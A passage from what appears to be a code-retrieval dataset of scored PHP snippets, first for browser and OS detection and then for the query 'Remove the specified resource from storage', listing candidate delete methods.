(preg_match('/(up.browser|up.link|mmp|symbian|smartphone|midp|wap|phone|android|iemobile)/i', strtolower($_SERVER['HTTP_USER_AGENT']))) {\n $mobile_browser++;\n $body_class = \"mobile\";\n }\n\n if ((strpos(strtolower($_SERVER['HTTP_ACCEPT']),'application/vnd.wap.xhtml+xml') > 0) or ((isset($_SERVER['HTTP_X_WAP_PROFILE']) or isset($_SERVER['HTTP_PROFILE'])))) {\n $mobile_browser++;\n $body_class = \"mobile\";\n }\n\n $mobile_ua = strtolower(substr($_SERVER['HTTP_USER_AGENT'], 0, 4));\n $mobile_agents = array(\n 'w3c ','acs-','alav','alca','amoi','audi','avan','benq','bird','blac',\n 'blaz','brew','cell','cldc','cmd-','dang','doco','eric','hipt','inno',\n 'ipaq','java','jigs','kddi','keji','leno','lg-c','lg-d','lg-g','lge-',\n 'maui','maxo','midp','mits','mmef','mobi','mot-','moto','mwbp','nec-',\n 'newt','noki','palm','pana','pant','phil','play','port','prox',\n 'qwap','sage','sams','sany','sch-','sec-','send','seri','sgh-','shar',\n 'sie-','siem','smal','smar','sony','sph-','symb','t-mo','teli','tim-',\n 'tosh','tsm-','upg1','upsi','vk-v','voda','wap-','wapa','wapi','wapp',\n 'wapr','webc','winw','winw','xda ','xda-');\n\n if (in_array($mobile_ua,$mobile_agents)) {\n $mobile_browser++;\n }\n\n if (strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'opera mini') > 0) {\n $mobile_browser++;\n //Check for tablets on opera mini alternative headers\n $stock_ua = strtolower(isset($_SERVER['HTTP_X_OPERAMINI_PHONE_UA'])?$_SERVER['HTTP_X_OPERAMINI_PHONE_UA']:(isset($_SERVER['HTTP_DEVICE_STOCK_UA'])?$_SERVER['HTTP_DEVICE_STOCK_UA']:''));\n if (preg_match('/(tablet|ipad|playbook)|(android(?!.*mobile))/i', $stock_ua)) {\n $tablet_browser++;\n }\n }\n if ($tablet_browser > 0) {\n $resultado = 1;\n }\n else if ($mobile_browser > 0) {\n $resultado = 2;\n }\n else {\n $resultado = 3;\n } \n \n return $resultado;\n}", "title": "" }, { "docid": "7f9c4d4b8543919801a60eabf38114bc", "score": "0.5447707", "text": "public function browscap() {\n $browser = get_browser(null, true);\n $data = array();\n\n $data['browser'] = $browser['browser'].\" \".$browser['version'];\n $data['system'] = $browser['platform'];\n $data['device'] = $browser['device_type'];\n\n if ($data['browser'] == \" \")\n $data['browser'] = null;\n\n return $data;\n }", "title": "" }, { "docid": "28968e8390f64ec820b051ff8d2a1748", "score": "0.5438378", "text": "function SI_getBrowsers() {\n\tglobal $SI_tables,$SI_display;\n\t$collapse = ($SI_display['collapse'])?'browser':'browser, version';\n\t$th = SI_getTotalHits();\n\t$query = \"SELECT browser, version, COUNT(*) AS 'total' \n\t\t\t FROM $SI_tables[stats]\n\t\t\t WHERE browser != 'Indeterminable' \n\t\t\t GROUP BY $collapse\n\t\t\t ORDER BY total DESC\";\n\tif ($result = mysql_query($query)) {\n\t\t$ul = \"<table cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" border=\\\"0\\\">\\n\";\n\t\t$ul .= \"\\t<tr><th>Browser</th><th>Version</th><th class=\\\"last\\\">%</th></tr>\\n\";\n\t\twhile ($r = mysql_fetch_array($result)) {\n\t\t\t$p = number_format(($r['total']/$th)*100);\n\t\t\t// $p = ($p==0)?\"&lt;1\":$p;\n\t\t\tif ($p>=1) {\n\t\t\t\t$ul .= \"\\t<tr><td>$r[browser]</td><td>$r[version]</td><td class=\\\"last\\\">$p%</td></tr>\\n\";\n\t\t\t\t}\n\t\t\t}\n\t\t$ul .= \"</table>\";\n\t\t}\n\treturn $ul;\n\t}", "title": "" }, { "docid": "6795b71a38a75798f81f6429a41da1f5", "score": "0.5434793", "text": "function stats(){\nglobal $sbulan,$shari,$sjam;\n if((preg_match(\"/Nav/i\", getenv(\"HTTP_USER_AGENT\"))) || (preg_match(\"/Gold/i\", getenv(\"HTTP_USER_AGENT\"))) || (preg_match(\"/X11/i\", getenv(\"HTTP_USER_AGENT\"))) || (preg_match(\"/Mozilla/i\", getenv(\"HTTP_USER_AGENT\"))) || (preg_match(\"/Netscape/i\", getenv(\"HTTP_USER_AGENT\"))) AND (!preg_match(\"/MSIE/i\", getenv(\"HTTP_USER_AGENT\"))) AND (!preg_match(\"/Konqueror/i\", getenv(\"HTTP_USER_AGENT\")))) $browser =0; //\"Netscape\";\n // Opera needs to be above MSIE as it pretends to be an MSIE clone\n elseif(preg_match(\"/Opera/i\", getenv(\"HTTP_USER_AGENT\"))) $browser = 1; // \"Opera\";\n elseif(preg_match(\"/MSIE 4.0/i\", getenv(\"HTTP_USER_AGENT\"))) $browser =2; //\"MSIE 4.0\";\n elseif(preg_match(\"/MSIE 5.0/i\", getenv(\"HTTP_USER_AGENT\"))) $browser =3; // \"MSIE 5.0\";\n elseif(preg_match(\"/MSIE 6.0/i\", getenv(\"HTTP_USER_AGENT\"))) $browser =4; //\"MSIE 6.0\";\n elseif(preg_match(\"/Lynx/i\", getenv(\"HTTP_USER_AGENT\"))) $browser =5; // \"Lynx\";\n elseif(preg_match(\"/WebTV/i\", getenv(\"HTTP_USER_AGENT\"))) $browser = 6; //\"WebTV\";\n elseif(preg_match(\"/Konqueror/i\", getenv(\"HTTP_USER_AGENT\"))) $browser =7; //\"Konqueror\";\n elseif((preg_match(\"/bot/i\", getenv(\"HTTP_USER_AGENT\"))) || (preg_match(\"/Google/i\", getenv(\"HTTP_USER_AGENT\"))) || (preg_match(\"/Slurp/i\", getenv(\"HTTP_USER_AGENT\"))) || (preg_match(\"/Scooter/i\", getenv(\"HTTP_USER_AGENT\"))) || (preg_match(\"/Spider/i\", getenv(\"HTTP_USER_AGENT\"))) || (preg_match(\"/Infoseek/i\", getenv(\"HTTP_USER_AGENT\")))) $browser =8; //\"Bot\";\n else $browser =9; // \"Other\";\n \n/* Get the Operating System data */\n\n if(preg_match(\"/Win/i\", getenv(\"HTTP_USER_AGENT\"))) $os =0;// \"Windows\";\n elseif((preg_match(\"/Mac/i\", getenv(\"HTTP_USER_AGENT\"))) || (preg_match(\"/PPC/i\", getenv(\"HTTP_USER_AGENT\")))) $os =1;// \"Mac\";\n elseif(preg_match(\"/Linux/i\", getenv(\"HTTP_USER_AGENT\"))) $os =2;// \"Linux\";\n elseif(preg_match(\"/FreeBSD/i\", getenv(\"HTTP_USER_AGENT\"))) $os =3;// \"FreeBSD\";\n elseif(preg_match(\"/SunOS/i\", getenv(\"HTTP_USER_AGENT\"))) $os =4;// \"SunOS\";\n elseif(preg_match(\"/IRIX/i\", getenv(\"HTTP_USER_AGENT\"))) $os =5;// \"IRIX\";\n elseif(preg_match(\"/BeOS/i\", getenv(\"HTTP_USER_AGENT\"))) $os =6;// \"BeOS\";\n elseif(preg_match(\"/OS2/i\", getenv(\"HTTP_USER_AGENT\"))) $os =7;// \"OS/2\";\n elseif(preg_match(\"/AIX/i\", getenv(\"HTTP_USER_AGENT\"))) $os =8;// \"AIX\";\n else $os =9;// \"Other\";\n \n//baca database \n//tampilkan data terbaru\n\n$query1 = \"SELECT * FROM stat_browse WHERE id='1'\";\n//---- baca data polling\n\n$hasil = mysql_query($query1);\n$data = mysql_fetch_array($hasil);\n$PJAWABAN_TMP = explode(\"#\", $data[\"pjawaban\"]);\n$jmljwb = count($PJAWABAN_TMP);\n$PJAWABAN_TMP[$browser]++;\n$PJAWABAN = '';\nfor($i=0;$i<$jmljwb;$i++){\n\t$PJAWABAN .= $PJAWABAN_TMP[$i] . \"#\";\n}\n$PJAWABAN = substr_replace($PJAWABAN, \"\", -1, 1);\n//-----------------------------------------------\n\t\n//---- simpan data terbaru\n$query2 = \"UPDATE stat_browse SET pjawaban='$PJAWABAN' WHERE id='1'\";\nmysql_query($query2);\n// ----------------------------------------------------------------------\t\n\t\t\n\t\t\n//baca database \n//tampilkan data terbaru\n$query2= \"SELECT * FROM stat_browse WHERE id='2'\";\n//---- baca data polling\n\n\t\t$hasil2 = mysql_query($query2);\n\t\t$data = mysql_fetch_array($hasil2);\n\t\t$PJAWABAN_TMP2 = explode(\"#\", $data[\"pjawaban\"]);\n\t\t$jmljwb2 = count($PJAWABAN_TMP2);\n\t\t$PJAWABAN_TMP2[$os]++;\n$PJAWABAN2 = '';\n\t\tfor($i=0;$i<$jmljwb2;$i++)\n\t\t{\n\t\t\t$PJAWABAN2 .= $PJAWABAN_TMP2[$i] . \"#\";\n\t\t}\n\t\t$PJAWABAN2 = substr_replace($PJAWABAN2, \"\", -1, 1);\n\t\t//-----------------------------------------------\n\t\n\t\t//---- simpan data terbaru\n\t\t$query3 = \"UPDATE stat_browse SET pjawaban='$PJAWABAN2' WHERE id='2'\";\n\t\tmysql_query($query3);\n\t\t// ----------------------------------------------------------------------\t\n\n\t\n// edit hari\n /* Month-Counter */\n $bulans = $sbulan - 1;\n \n //baca database \n //tampilkan data terbaru\n$query4= \"SELECT * FROM stat_browse WHERE id='4'\";\n//---- baca data polling\n\n\t\t$hasil4 = mysql_query($query4);\n\t\t$data = mysql_fetch_array($hasil4);\n\t\t$PJAWABAN_TMP4 = explode(\"#\", $data[\"pjawaban\"]);\n\t\t$jmljwb4 = count($PJAWABAN_TMP4);\n\t\t$PJAWABAN_TMP4[$bulans]++;\n$PJAWABAN4 = '';\n\t\tfor($i=0;$i<$jmljwb4;$i++)\n\t\t{\n\t\t\t$PJAWABAN4 .= $PJAWABAN_TMP4[$i] . \"#\";\n\t\t}\n\t\t$PJAWABAN4 = substr_replace($PJAWABAN4, \"\", -1, 1);\n\t\t//-----------------------------------------------\n\t\n\t\t//---- simpan data terbaru\n\t\t$query4 = \"UPDATE stat_browse SET pjawaban='$PJAWABAN4' WHERE id='4'\";\n\t\tmysql_query($query4);\n\t\t// ----------------------------------------------------------------------\t\n \n /* Weekday-Counter */\n $haris = $shari;\n$query3= \"SELECT * FROM stat_browse WHERE id='3'\";\n//---- baca data polling\n\n\t\t$hasil3 = mysql_query($query3);\n\t\t$data = mysql_fetch_array($hasil3);\n\t\t$PJAWABAN_TMP3 = explode(\"#\", $data[\"pjawaban\"]);\n\t\t$jmljwb3 = count($PJAWABAN_TMP3);\n\t\t$PJAWABAN_TMP3[$haris]++;\n$PJAWABAN3 = '';\n\t\tfor($i=0;$i<$jmljwb3;$i++)\n\t\t{\n\t\t\t$PJAWABAN3 .= $PJAWABAN_TMP3[$i] . \"#\";\n\t\t}\n\t\t$PJAWABAN3 = substr_replace($PJAWABAN3, \"\", -1, 1);\n\t\t//-----------------------------------------------\n\t\n\t\t//---- simpan data terbaru\n\t\t$query3 = \"UPDATE stat_browse SET pjawaban='$PJAWABAN3' WHERE id='3'\";\n\t\tmysql_query($query3);\n\t\t// ----------------------------------------------------------------------\t\n \n /* Per-Hour-Counter */\n $jams = $sjam;\n \n //baca database \n //tampilkan data terbaru\n$query5= \"SELECT * FROM stat_browse WHERE id='5'\";\n//---- baca data polling\n\n\t\t$hasil5 = mysql_query($query5);\n\t\t$data = mysql_fetch_array($hasil5);\n\t\t$PJAWABAN_TMP5 = explode(\"#\", $data[\"pjawaban\"]);\n\t\t$jmljwb5 = count($PJAWABAN_TMP5);\n\t\t$PJAWABAN_TMP5[$jams]++;\n$PJAWABAN5 = '';\n\t\tfor($i=0;$i<$jmljwb5;$i++)\n\t\t{\n\t\t\t$PJAWABAN5 .= $PJAWABAN_TMP5[$i] . \"#\";\n\t\t}\n\t\t$PJAWABAN5 = substr_replace($PJAWABAN5, \"\", -1, 1);\n\t\t//-----------------------------------------------\n\t\n\t\t//---- simpan data terbaru\n\t\t$query5 = \"UPDATE stat_browse SET pjawaban='$PJAWABAN5' WHERE id='5'\";\n\t\tmysql_query($query5);\n\t\t// ----------------------------------------------------------------------\t\n \n\n}", "title": "" }, { "docid": "b11dbd1ef7b802c5c2723af837828874", "score": "0.5424684", "text": "function isWindows() {\n $is_windows = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');\n return $is_windows;\n}", "title": "" }, { "docid": "e10066741b35a13a0519f9f46579922d", "score": "0.54031", "text": "static public function compatible()\n {\n \treturn TRUE;\n \n //retezec popisujici prohlizec uzivatele\n $user_agent = arr::get($_SERVER, 'HTTP_USER_AGENT', '');\n\n //prohlizece safara, chrome, firefox a operu podporujeme ve vsech verzich\n if (preg_match('#applewebkit|BrowserKit|safari|chrome|firefox|opera|MSIE 7|MSIE 8|MSIE 9#i', $user_agent) == TRUE)\n {\n return TRUE;\n }\n\n return FALSE;\n }", "title": "" }, { "docid": "c024f0d0f50ff8489d30885f415edc88", "score": "0.53631717", "text": "public function getChromeOS()\n {\n if (array_key_exists(\"chromeOS\", $this->_propDict)) {\n return $this->_propDict[\"chromeOS\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "e9a4232d8629d513721e53631d36ff1c", "score": "0.53396386", "text": "public static function getClientBrowserInfo(){\n $browser = get_browser(null, true);\n //must match db column names for keys\n $myArray = array(\n 'BrowserName' => $browser['browser'],\n 'BrowserVersion' => $browser['version'],\n 'BrowserPlatform' => $browser['platform'],\n 'BrowserCSSVersion' => $browser['cssversion'],\n 'BrowserJSEnabled' => $browser['javascript']\n );\n\n return $myArray;\n }", "title": "" }, { "docid": "df876f963a5e787784244733880a3f72", "score": "0.533313", "text": "function get_identify_number()\r\n\t{\r\n\t\tif ($_SERVER['HTTP_X_DCMGUID'] != \"\") {\r\n\t\t\t//docomo\r\n\t\t\t$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);\r\n\t\t\tif (preg_match('/docomo\\.ne\\.jp$/', $host)) {\r\n\t\t\t\treturn $_SERVER['HTTP_X_DCMGUID'];\r\n\t\t\t}\r\n\t\t\t\r\n\t\t} else if ($_SERVER['HTTP_X_UP_SUBNO'] != \"\") {\r\n\t\t\t//ezweb\r\n\t\t\t$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);\r\n\t\t\tif (preg_match('/ezweb\\.ne\\.jp$/', $host)) {\r\n\t\t\t\treturn $_SERVER['HTTP_X_UP_SUBNO'];\r\n\t\t\t}\r\n\t\t\t\r\n\t\t} else if ($_SERVER['HTTP_X_JPHONE_UID'] != \"\") {\r\n\t\t\t//softbank\r\n\t\t\t$host = gethostbyaddr($_SERVER['REMOTE_ADDR']);\r\n\t\t\tif (preg_match('/jp-[dhtcrknsq]\\.ne\\.jp/', $host)) {\r\n\t\t\t\treturn $_SERVER['HTTP_X_JPHONE_UID'];\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn null;\r\n\t}", "title": "" }, { "docid": "bf5b03a2c11a4dda52b1363a9d57a355", "score": "0.5311719", "text": "function getOS($userAgent) {\n\t$oses = array('iPhone' => '(iPhone)', 'Windows' => 'Win16', 'Windows' => '(Windows 95)|(Win95)|(Windows_95)', // Use regular expressions as value to identify operating system\n\t'Windows' => '(Windows 98)|(Win98)', 'Windows' => '(Windows NT 5.0)|(Windows 2000)', 'Windows' => '(Windows NT 5.1)|(Windows XP)', 'Windows' => '(Windows NT 5.2)', 'Windows' => '(Windows NT 6.0)|(Windows Vista)', 'Windows' => '(Windows NT 6.1)|(Windows 7)', 'Windows' => '(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)', 'Windows' => 'Windows ME', 'Open BSD' => 'OpenBSD', 'Sun OS' => 'SunOS', 'Linux' => '(Linux)|(X11)', 'Safari' => '(Safari)', 'Macintosh' => '(Mac_PowerPC)|(Macintosh)', 'QNX' => 'QNX', 'BeOS' => 'BeOS', 'OS/2' => 'OS/2', 'Search Bot' => '(nuhk)|(Googlebot)|(Yammybot)|(Openbot)|(Slurp/cat)|(msnbot)|(ia_archiver)');\n\n\tforeach ($oses as $os => $pattern) {// Loop through $oses array\n\n\t\t// Use regular expressions to check operating system type\n\t\tif (strpos($userAgent, $os)) {// Check if a value in $oses array matches current user agent.\n\t\t\treturn $os;\n\t\t\t// Operating system was matched so return $oses key\n\t\t}\n\t}\n\treturn 'Unknown';\n\t// Cannot find operating system so return Unknown\n}", "title": "" }, { "docid": "ec53771347b830f79aa44b64abab1646", "score": "0.53015256", "text": "function NOPASS_getBrowserID(){\n $browserID = '';\n\n if($_COOKIE['NPBrowserID']){\n $browserID = $_COOKIE['NPBrowserID'];\n }\n else{\n $browserID = NOPASS_generateBrowserID(32);\n $response[\"BrowserId\"] = $browserID;\n }\n\n return $browserID;\n}", "title": "" }, { "docid": "52db58dc0dfbba6dff06d7ee81cc990b", "score": "0.5297948", "text": "protected function isWindowsOs() {}", "title": "" }, { "docid": "52db58dc0dfbba6dff06d7ee81cc990b", "score": "0.52963996", "text": "protected function isWindowsOs() {}", "title": "" }, { "docid": "dbf4c15f5f8b38630dba55e1041e14a3", "score": "0.529595", "text": "public function getUsedChromeOS()\n {\n if (array_key_exists(\"usedChromeOS\", $this->_propDict)) {\n return $this->_propDict[\"usedChromeOS\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "f4b1b56c0afa7be9e48fdcd7923f4470", "score": "0.52790123", "text": "function _isBrowserMacSeaMonkey($ua_ok) {\r\n\t\t return ( (eregi( \"Macintosh\", $ua_ok ) && eregi( \"seamonkey\", $ua_ok ) && eregi( \"[1]\\.[8]\", $ua_ok ) ) ||\r\n\t\t\t\t\t(eregi( \"Macintosh\", $ua_ok ) && eregi( \"seamonkey\", $ua_ok ) && eregi( \"[1]\\.[8]\\.[1]\", $ua_ok ) )\r\n\t\t\t\t );\r\n\t}", "title": "" }, { "docid": "1e96c2eab695d5c4f00dd08357d48615", "score": "0.5277808", "text": "function retina_detection(){\n\t\n\tprint '<script>\n\t\t\t\tif(window.devicePixelRatio==2)\n\t\t\t\t\tvar retina = 1;\n\t\t\t\telse\n\t\t\t\t\tvar retina = 0;\n\t\t\t\t\n\t\t var the_cookie = \"retinaScreen=\"+retina+\";\"+the_cookie;\n\t\t document.cookie = the_cookie; \n\t\t </script>';\n}", "title": "" }, { "docid": "b98779944f8fc49c6e2c5bf31e8df0cd", "score": "0.52757424", "text": "function save_cookie_from_browser($domain = \"\")\n\t{\n\t\t// .meonyou.com TRUE / FALSE 0 PHPSESSID 8p47p0c8g65kjtfnl7gjs4u5k2\n\t\t// www.meonyou.com FALSE / FALSE 1267546450 track a%3A4%3A%7Bs%3A12%3A%22affiliate_id%22%3Bs%3A1%3A%221%22%3Bs%3A10%3A\n\n\t}", "title": "" }, { "docid": "aa0569af809b811639464f89203916fd", "score": "0.52751744", "text": "public function check_safe_browser() {\n return strpos($_SERVER['HTTP_USER_AGENT'], 'SEB') !== false;\n }", "title": "" }, { "docid": "66c19fc5e671ada6067fca1cce351061", "score": "0.52700335", "text": "function getOS($request) {\n $user_agent = $request->server('HTTP_USER_AGENT');\n $os_platform = $user_agent . \" - Unknown OS Platform\";\n $os_array = array(\n '/windows nt 10/i' => 'Windows 10',\n '/windows nt 6.3/i' => 'Windows 8.1',\n '/windows nt 6.2/i' => 'Windows 8',\n '/windows nt 6.1/i' => 'Windows 7',\n '/windows nt 6.0/i' => 'Windows Vista',\n '/windows nt 5.2/i' => 'Windows Server 2003/XP x64',\n '/windows nt 5.1/i' => 'Windows XP',\n '/windows xp/i' => 'Windows XP',\n '/windows nt 5.0/i' => 'Windows 2000',\n '/windows me/i' => 'Windows ME',\n '/win98/i' => 'Windows 98',\n '/win95/i' => 'Windows 95',\n '/win16/i' => 'Windows 3.11',\n '/macintosh|mac os x/i' => 'Mac OS X',\n '/mac_powerpc/i' => 'Mac OS 9',\n '/linux/i' => 'Linux',\n '/ubuntu/i' => 'Ubuntu',\n '/iphone/i' => 'iPhone',\n '/ipod/i' => 'iPod',\n '/ipad/i' => 'iPad',\n '/android/i' => 'Android',\n '/blackberry/i' => 'BlackBerry',\n '/webos/i' => 'Mobile'\n );\n foreach ($os_array as $regex => $value)\n if (preg_match($regex, $user_agent))\n $os_platform = $value;\n return $os_platform;\n }", "title": "" }, { "docid": "a6ed1026cfd28015de1d4ac0b6a6164d", "score": "0.52608615", "text": "public function conditionMatchesInternetExplorer7Windows() {}", "title": "" } ]
fba5cfefabb2b65932d6fdc28af220e4
Remove the specified resource from storage.
[ { "docid": "4324d72b1b05d1b45902450e31c65ece", "score": "0.0", "text": "public function destroy(Widgetsetting $widgetsetting)\n {\n //\n }", "title": "" } ]
[ { "docid": "37dd170c1eaea50870a9bd20839ad070", "score": "0.7137241", "text": "public function remove(ResourceInterface $resource): void\n {\n }", "title": "" }, { "docid": "4b8255c05a264d5d61f546d7bcd507ce", "score": "0.6672584", "text": "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "title": "" }, { "docid": "d9f10892d48fdfd7debb2a97681f0912", "score": "0.6659381", "text": "public function destroy(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "9128270ecb10fe081d7b27ed99999426", "score": "0.6632799", "text": "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "title": "" }, { "docid": "ca4c6cd0f72c6610d38f362f323ea885", "score": "0.6626075", "text": "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "title": "" }, { "docid": "e3c740412fbdcfbb4c5f134b55955877", "score": "0.66060185", "text": "public function deleteStorage($id);", "title": "" }, { "docid": "22e99170ed44ab8bba05c4fea1103beb", "score": "0.65424126", "text": "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "title": "" }, { "docid": "86a97ef20b44d79f474926937530d353", "score": "0.63162404", "text": "public function remove($resourceId)\n {\n return $this->rResourceMixin->remove($resourceId);\n }", "title": "" }, { "docid": "2961fd7e3d8100bdb9570443ca486260", "score": "0.624805", "text": "public function destroy()\n {\n if ($this->resource) {\n sem_remove($this->resource);\n @unlink($this->filePath);\n }\n }", "title": "" }, { "docid": "0145806453a1e9f5ee0809b4db0b14d3", "score": "0.61310524", "text": "public function markAsDeleted(ResolvedResource $resource);", "title": "" }, { "docid": "6c6fe1826f8ec4ac06c5e0ef405b8b7a", "score": "0.6100814", "text": "function deleteResource($id) {\n\t\t\t$id = sqlescape($id);\n\t\t\t$r = $this->getResource($id);\n\t\t\tif ($r) {\n\t\t\t\tsqlquery(\"DELETE FROM bigtree_resources WHERE file = '\".sqlescape($r[\"file\"]).\"'\");\n\t\t\t\t$storage = new BigTreeStorage;\n\t\t\t\t$storage->delete($r[\"file\"]);\n\t\t\t\tforeach ($r[\"thumbs\"] as $thumb) {\n\t\t\t\t\t$storage->delete($thumb);\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "60da5cdaab3c2b4a3de543383ff7326a", "score": "0.60893893", "text": "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "title": "" }, { "docid": "ccaddaf8c48305cf51ff4f4e87f7f513", "score": "0.6054415", "text": "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "title": "" }, { "docid": "d7a9a477b41e565ba02b2968aa02b2d8", "score": "0.6054318", "text": "public function remove ($resource = false, $key = false) {\n\t\t$resource = ($resource) ? $resource : $this->resource;\n\t\t$key = ($key) ? $key : $this->key;\n\n\t\treturn DB::execute ('delete from `#prefix#lock` where resource = ? and resource_id = ?', $resource, $key);\n\t}", "title": "" }, { "docid": "5bb36f163668a235aa80821b0746c2bc", "score": "0.60064924", "text": "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "title": "" }, { "docid": "0edce8e39abb5191d53e16b1ad17f69f", "score": "0.5964138", "text": "public function destroy($id)\n {\n $suplier = Supplier::where('id',$id)->first();\n $photo = $suplier->photo;\n if($photo)\n {\n unlink($photo);\n Supplier::where('id',$id)->delete();\n\n }\n }", "title": "" }, { "docid": "3561c0d84ad15925523eb674be4bee6d", "score": "0.59337646", "text": "public function remove($path);", "title": "" }, { "docid": "3561c0d84ad15925523eb674be4bee6d", "score": "0.59337646", "text": "public function remove($path);", "title": "" }, { "docid": "3561c0d84ad15925523eb674be4bee6d", "score": "0.59337646", "text": "public function remove($path);", "title": "" }, { "docid": "3561c0d84ad15925523eb674be4bee6d", "score": "0.59337646", "text": "public function remove($path);", "title": "" }, { "docid": "b549ee1a3239f6720bb4eae802ea1753", "score": "0.5930772", "text": "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "title": "" }, { "docid": "02436278b72d788803fbd1efa4067eef", "score": "0.59199584", "text": "public function delete(): void\n {\n unlink($this->path);\n }", "title": "" }, { "docid": "78f3fcb6a4df88ba8ea45797087a7e8d", "score": "0.59121597", "text": "public function remove($entity);", "title": "" }, { "docid": "5336825b23ae57c225d3534fd55b1861", "score": "0.5897263", "text": "public function remove() {}", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "83e24f29d0e8d9db1e7e13447c37580c", "score": "0.58936465", "text": "public function deleteResource(Resource $resource)\n {\n //unset all fields (for now)\n foreach (get_class_methods($resource) as $method) {\n if (0 === strpos($method, 'set')) {\n $resource->$method(null);\n }\n }\n\n //set delete date and status\n $resource->setDateDeleted(new \\DateTime());\n $resource->setStatus(Resource::STATUS_DELETED);\n\n return $resource;\n }", "title": "" }, { "docid": "140b6c44eef77c79cbd9edc171fe8e75", "score": "0.5880124", "text": "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "title": "" }, { "docid": "682325cf5de8624768bd5dbfad42738d", "score": "0.5875408", "text": "public function action_remove()\n\t{\n\t\t$this->access('admin.'.strtolower($this->_admin->resource).'.remove');\n\t\t$id = $this->request->param('id');\n\n\t\tif(!$this->request->is_ajax())\n\t\t{\n\t\t\tthrow new Kohana_HTTP_Exception_404;\n\t\t}\n\n\t\t// Needs to be a GET request\n\t\tif($this->request->method() != Request::GET)\n\t\t{\n\t\t\tthrow new Kohana_HTTP_Exception_403('No data was requested to be removed.');\n\t\t}\n\n\t\t$record = $this->_admin->model->where($this->_admin->primary_key, '=', $id)->find();\n\n\t\tif($record->loaded())\n\t\t{\n\t\t\tRD::set(RD::SUCCESS, ':resource #:id has been removed.', array(\n\t\t\t\t':resource' => Inflector::singular($this->_resource),\n\t\t\t\t':id' => $id\n\t\t\t));\n\t\t\t$record->delete();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tRD::set(RD::WARNING, ':resource can\\'t be found.', array(\n\t\t\t\t':resource' => Inflector::singular($this->_resource),\n\t\t\t\t':id' => $id\n\t\t\t));\n\t\t}\n\t}", "title": "" }, { "docid": "7760e18034429a581e9c1073281ca346", "score": "0.5874566", "text": "public function delete ()\n {\n $this->unlock();\n sem_remove( $this->getResource() );\n $this->resource = NULL;\n return $this;\n }", "title": "" }, { "docid": "16ede02ea64f8d696ab94948fa4d095a", "score": "0.5870248", "text": "public function destroyFile($resource, File $file)\n {\n $file->delete();\n return $file->{$resource};\n }", "title": "" }, { "docid": "72dc5bfa6ca53ddd2451fc0e14e6fcfe", "score": "0.58690923", "text": "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "title": "" }, { "docid": "b0b6f080ff9e00a37e1e141de8af472d", "score": "0.5863659", "text": "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", 